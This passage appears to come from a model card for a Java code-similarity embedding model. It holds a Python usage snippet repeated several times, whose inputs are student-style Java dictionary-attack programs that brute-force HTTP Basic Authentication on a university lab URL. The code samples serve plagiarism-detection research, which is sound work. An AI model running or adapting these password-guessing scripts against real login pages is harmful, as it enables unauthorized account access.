conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     